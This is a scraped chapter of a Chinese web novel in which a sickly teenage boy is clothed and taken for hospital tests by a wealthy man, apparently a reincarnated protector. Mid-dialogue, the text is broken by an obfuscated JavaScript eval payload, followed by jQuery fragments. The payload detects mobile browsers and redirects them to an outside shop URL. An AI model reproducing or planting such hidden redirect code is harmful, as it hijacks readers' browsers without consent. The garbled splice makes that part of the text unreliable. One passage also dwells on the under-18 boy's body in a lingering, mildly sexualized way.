默认冷灰
24号文字
方正启体

17.检查

作者:语成本书字数:K更新时间:
    安屿一口气吃了五个草莓。


    他喜欢浆果清香又不过分甜腻的气味。


    窗外繁花锦簇,树影摇曳,让人几乎忘了这是寒冬腊月。


    片刻后盛沉渊回来,扫过盘子,确认道:“不吃了?”


    “嗯。”安屿试探,“应该……够份量了吧?我已经吃得很撑了。”


    “够了,很棒。”盛沉渊勾唇,“已经远超我的预期了。”


    吃五个草莓便被夸“很棒”,安屿实在赧然,结结巴巴道:“谢、谢谢盛先生。”


    “不客气。”盛沉渊笑意更甚,“吃饱了的话,正好跟我去看看衣帽间吧,你的衣服都在那儿。”


    他一个暂住的、连“客人”恐怕都算不上的人,还有衣帽间?


    安屿愕然。


    可跟着盛沉渊上楼,到了走廊尽头,他房间旁边的房间,房门打开,当真有一个衣帽间。


    不只有,还远超他的想象。


    和他房间差不多面积,三面都是布了暖黄灯带的高柜,其中两面挂满衣物,从舒适的休闲服到宽松的运动装,从清凉的夏装到厚实的冬装,大致扫去,足有上百件之多。


    另一面则是整齐摆放的鞋子,同样款式齐全,应有尽有。


    “你的衣服都在这里了。”盛沉渊介绍,语气略显遗憾,“不知道你到底喜欢什么样的,只能每种款式都准备一点,你先凑合着穿吧。”


    “这、这……”安屿震惊到说不出话,“盛先生,您是说,这满满一屋,都是我的?”


    “当然。”盛沉渊道。


    “这、这不合适!”安屿慌乱拒绝,“我用不了这么多的。”


    “不多。”盛沉渊眼底攀上一抹阴翳,便连语气都冷下去许多,“时间太赶,好多都是成衣,不算好东西。等日后有时间,我再带你去定做。”


    在安家那漫长的时光已足够让安屿立刻察觉到男人的不悦,于是忙改口,不再拒绝,“好,那就多谢盛先生了。”


    不过,虽然能敏锐察觉他情绪的变化,但到底为何这么喜怒不定,安屿却猜不出原因了。


    “先选你比较喜欢的穿吧。”很快,盛沉渊又恢复正常,温柔笑道,“我去处理点工作,你也休息休息,咱们二十分钟后出发。”


    盛沉渊说完即离开,似乎真的有什么很重要的事情。


    安屿却愣了很久,才一件件去看那些衣服。


    全都是他的尺寸,也都是当季新品,大部分还散发着包装的味道,显然是昨夜匆忙买回来的。


    但奇怪的是,靠后一些的衣柜里,还有一些私人订制款。


    虽然也是他的尺码,但味道已显陈旧,棱角和布料折痕也不似新衣服那般硬朗,似乎……已放了有一段时日。


    安屿狐疑地去看鞋子。


    果然,也有一些早已绝版、只有两三年前买得到的旧款。


    尺码也不正正好是他的了,有小一号的,也有小两号的。


    绝不会是昨夜一起买回来的。


    难道这里还住过别人?


    安屿心里莫名其妙蹦出来这个念头。


    不太可能。


    他又立刻自己否认。


    因为,那些衣服虽旧,却没有任何使用过的痕迹。


    左右都一定是盛沉渊的私事,再窥探下去就不礼貌了。


    安屿于是佯作不知,只在成衣区挑选。


    对于医院检查过于繁琐的程序,安屿已十分了解,因此不求好看只求方便,随手挑了套宽松的衣服换上。


    只是,换完衣服,安屿顿时有些迷茫。


    他不知道自己还能做些什么。


    以前在安家,安怀宇没回来前,为了所谓的安家颜面,他所有时间都被安睿衡夫妇安排得满满当当,不是看书学习就是钢琴书法,一定要成为同龄人中的佼佼者才行。


    安怀宇回来后,他则有了干不完的活,也没有一分钟属于自己的时间。


    现在骤然无所事事,他还当真找不到其他事情做了。


    时间还早,未经主人允许,随意去这座建筑的其他地方乱逛肯定不行,安屿在原地站了片刻,决定还是回自己的卧室等待。


    阳光正好,将整个卧室都晒得暖洋洋。


    床头柜上,嫩绿色的手机格外引人注目。


    安屿拿起它,窝进铺了厚厚一层羊绒毯的沙发里,打开,却不知道该按点什么。


    以前认识的所有人,无论“亲人”还是“朋友”,全都没有了联络的必要。


    以前的账号,也没有再用的理由。


    这手机给他,可真是浪费了。


    安屿将它丢在一边,闭眼,不受控制地再度揣摩盛沉渊的目的。


    依旧毫无头绪。


    他实在想不通,盛沉渊能从他这个孑然一身的人身上,得到什么其他人给不了的东西。


    片刻,手机震动。


    盛沉渊:【我这边都准备好了,随时可以出发。】


    好吧,还有这么唯一一个联系人,也不算毫无用处。


    安屿回复:【好的盛先生,我马上就来。】


    沿实木楼梯而下,客厅里,盛沉渊长身而立,白衬衣外加了件剪裁凌厉的黑色西装外套,看上去较刚才又高高在上了几分。


    可男人的目光投在他身上,却感受不到丝毫严肃,唯有说不清、道不明的感觉。


    像……梅雨季节的空气,黏腻,让人喘不过气。


    “盛先生?”安屿奇怪道,“我……有什么问题吗?”


    不,什么问题都没有。


    有问题的是他。


    盛沉渊心想。


    安屿选了件基础款的圆领T恤打底,外面套了棕色的羊绒开衫和更厚的棉服外套,但因为屋里气温很高,还没有拉上拉链,由此,便完整露出他修长而白皙的脖颈,以及病态的、瘦弱的、却十分美丽的锁骨。


    即使现在看不到,他也知道,再下面,就是完全还未长开的、纤细的少年身材。


    便连沐浴后的香气,都莫名其妙出现在了鼻间。


    是十分脆弱的一副身体。


    脆弱到他只需伸出一只胳膊,便能轻松将人揽在怀里。


    就像昨晚一样。


    “怎么了?”察觉到他失神的目光,安屿的心不受控制提起,谨慎道,“您……有什么事情不能去了吗?”


    “没有。”盛沉渊深呼吸,将这不合时宜的杂念通通压制,沉声道,“很好看。”


    安屿认真看他,试图理解他的意思。


    少年长发温顺垂下,遮住了秀气的眉毛,却正好露出那双圆润而迷茫的杏眼。


    落在盛沉渊眼中,便是三分可爱,七分可怜。


    不多时,少年似乎是想明白了,但却又不太确定,于是试探道:“谢谢盛先生?”


    “不客气。”盛沉渊拿起围巾,将他裸露在外的皮肤仔细包裹,又帮他拉上拉链,这才道,“走吧。要时刻注意保暖,外面冷。”


    还真是夸他这身衣服好看吗?


    安屿简直莫名其妙,只能敷衍地回应一句“谢谢盛先生关心,我知道了。”


    司机依旧早在外等着,待二人上车,缓缓驶离。


    昨天来时一路睡着,什么也没看到,今天清醒着才发现,这栋庄园别墅,远比他以为的还要奢华。


    看似幽远宁静,其实,车开五分钟后,就能并入繁华的主干道。


    是处于市中心的绝佳地段。


    这样的房子,是安家即便倾尽所有,也连购买资格都无法争取到的存在。


    又五分钟后,车子停在了一座医院门前,空旷安静,完全没有普通医院那样的拥挤和喧闹。


    是瑞欣医院。


    那个高高在上、将全国百分之九十九病人拒之门外的顶级私人医院。


    他曾经可望不可及的地方。


    可现在,他跟着盛沉渊进入,立刻便有工作人员迎上,带着他们,一路畅通无阻地到了院长办公室。


    院长似乎与盛沉渊十分相熟,并没有很正式地问候,只摆了摆手示意他自己找地方坐,而后,笑眯眯地打招呼,“安小少爷,坐吧。”


    和蔼可亲。


    叫人完全看不出,他就是那位曾在梅奥执业、后来不知因何原因回国、一手打造了这家医院的高级心脏专科医师。


    安屿云里雾里,只觉得一切都像不真实的梦。


    “先天主动脉瓣狭窄,有低血压和贫血,”院长十分清楚他的情况,“剧烈运动和情绪激动时都会头晕乏力,严重时还会昏厥,对吗?”


    “嗯……”安屿低头,情绪消沉,“我……中止治疗有小半年了,情况恐怕比之前更加糟糕。”


    “别这么悲观。”盛沉渊本安静听着,闻言,蓦然开口,“半年还不至于造成毁灭性打击,更何况,有李院长亲自坐诊,你一定不会有事。”


    “沉渊说的是。”李院长安慰道,“你这个病虽然复杂,却还远算不上疑难杂症,只要照顾得当,不会对生活造成多大的影响。先去检查,等检查结果出来,我立刻为你安排诊疗方案。”


    安屿强行打起精神应允。


    “走,我陪你。”盛沉渊起身,轻轻拍了拍他的肩膀,“放心,一定没问题的。”


    好在,检查虽有很多他以前不熟悉的方式,但至少,心电图、彩超和CT,还是和以前差不多的。


    面对这些冰冷却又熟悉的医疗器械,安屿一直似踩在云间的不踏实感,才能够消失一些。


    尤其躺在病床上,被锋利的针尖刺破皮肤,一泵又一泵抽出新鲜的血液,安屿直视着被暗红液体装满的试管,才终于觉得心安。


    ——他还活着,还会痛,还有源源不断的热血。


    因需要检查的指标太多,医生一口气抽掉了三大管血液。


    冰凉的针管离开身体,棉棒被医生用力按压在伤口上,安屿有些头昏,紧咬下唇,安静忍耐。


    他身后,盛沉渊的眉头拧作一团,满面痛色。


    片刻后,伤口血珠凝固,医生撤掉棉签,叮嘱盛沉渊道:“盛先生,这次抽血量比较大,病人过于体弱,所以暂时不要乱动,先卧床观察半小时吧。”


    “好。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952547|192930||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”盛沉渊小心翼翼将他卷起的袖子放下,贴心道,“渴不渴?”


    检查项目繁多,安屿本就疲累,被抽了那么多血就更是头晕目眩,连张嘴说话的力气都没有,只闭上眼睛,轻轻摇头。


    盛沉渊动作于是更加温柔,细致为他盖好被子,又稍稍垫高枕头,轻声道,“那就安心休息,等检查结果出来。”


    气血两亏,安屿很快陷入昏睡。


    盛沉渊坐在病床边,一言不发看他苍白的唇,面色越来越凝重,眼神也越来越冰冷。


    直到病房门被打开一条缝隙,李院长挥手示意他出去,盛沉渊这才收起周身戾气,轻手轻脚起身。


    “老师。”盛沉渊迫不及待,“阿屿他怎么样?”


    “没有太差。”李院长将几张报告递给他,“但也确实不多么好。”


    盛沉渊接过,仔细查看。


    李院长适时解释,“他现在的主要问题是身体太过虚弱。你看看,身高一米六八,体重才七十六斤,还伴有低血压和贫血,以这个状况来讲,万一有什么需要手术的情况出现,他甚至都没办法安全地下手术台。”


    盛沉渊手止不住一抖,无奈又心疼,“他长期挨饿,胃功能已经部分萎缩,强行去吃,只会更加难受。”


    “没办法,即便如此,也一定要强迫着他吃。”李院长道,“越是这种情况,越是要刺激它,才能让它恢复正常功能。否则这个体重下去,别说后期手术了,就连日常服用的药物都会无法承受。这些知识你都学过,应该不用我再提醒的。”


    “学过是学过……”盛沉渊痛道,“可我实在没法眼睁睁看着他反胃、干呕,还硬着心肠逼他继续吃下去了……”


    “沉渊?”院长诧异,像看陌生人一样看他,“我从没想过,感情用事这四个字,有一天会和你产生联系。强迫进食短期虽然难受,但长期而言,是百利而无一害的。你是我最优秀的学生,这些道理,不该由我来告诉你。”


    盛沉渊长久沉默。


    “唉……你啊!”李院长又长叹,“罢了罢了,既然如此,你就辛苦一些,盯着他增加用餐次数吧,哪怕能多吃一口,也是好的。”


    院长想了想,又道,“对了,还必须保证运动,先从散步开始吧,多呼吸新鲜空气,对他很有好处。起初气喘的话很正常,不要放弃,及时休息补充水分,等心跳正常后再继续走,每天保持至少三千步。”


    “三千步?”盛沉渊担忧,“他现在这么虚弱,外面天又冷,三千步,吃得消吗?”


    李院长眼皮抬也不抬,武断道,“这是最低的要求。你不放心的话,就去陪着他一起走。”


    “好。”盛沉渊不假思索答应,又不放心道,“那他有住院的必要吗?他……经历了很多不好的事情,晚上很容易做噩梦,在医院,总是没有家里舒服。”


    “住院还暂时不用。”李院长眼神也落回那些病历上,终于忍不住摇了摇头,由衷道,“还不到十八岁的小朋友,却吃了不少苦头啊……”


    “是我的错。”盛沉渊低头,神色落寞,“都怪我,又一次到的这么晚。我若是能早点带走他,早点照顾他,也不会到现在这样的地步。”


    李院长意外抬头,“可我听秉之说,你不是前天才认识他,昨天才将他带回海市?”


    盛沉渊移开目光,避而不答。


    李院长认真观察他的神情,思索良久,恍然大悟。


    怪不得!


    怪不得以盛沉渊这样的家世,却会选择学医;怪不得他会三番五次飞往美国,邀请自己回国;更怪不得,他会出资近百亿元,也一定要在海市建一座这样的医院!


    一定是有一个十分重要的人,得了和如今这个叫安屿的少年,一模一样的病。


    甚至、甚至极有可能,不治身亡。


    这才成为沉渊永恒的执念和遗憾。


    所以,再遇到同样的人,他才会这样谨慎、这样患得患失。


    “沉渊,不要这样苛责自己。”李院长抬手,重重拍他的肩膀,“这次你已经尽力了。”


    “不,我没有。”盛沉渊摇头,偏执又自责,“老师,远不够,远远不够。”


    “已经足够了。”李院长劝他,“他的病情,还没有恶化到无法挽回的地步,一切都还来得及,你冷静一些,用你自己学过的知识,对比他的检查报告,理性分析,不要自己先乱了阵脚。”


    劝阻似乎很有效。


    盛沉渊总算从自责中短暂抽身,喃喃道:“对,我、我是该认真看的。”


    ——老师说的对。


    还没有到无可挽回的地步。


    距离上一世那个噩耗来临的时间,还有半年!


    现在,他的阿屿还没有被安家害死,还没有孤零零地躺在冰冷的病床上,形销骨立。


    只要养在他身边,只要用世界上最好的药,一定不会发生那样的事!一定可以康复!


    二人认真商议治疗方案。


    于是没有注意到,本该陷入深眠的安屿早已苏醒,此时正站在半掩的门外,似笑非笑听着里面的一切对话……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)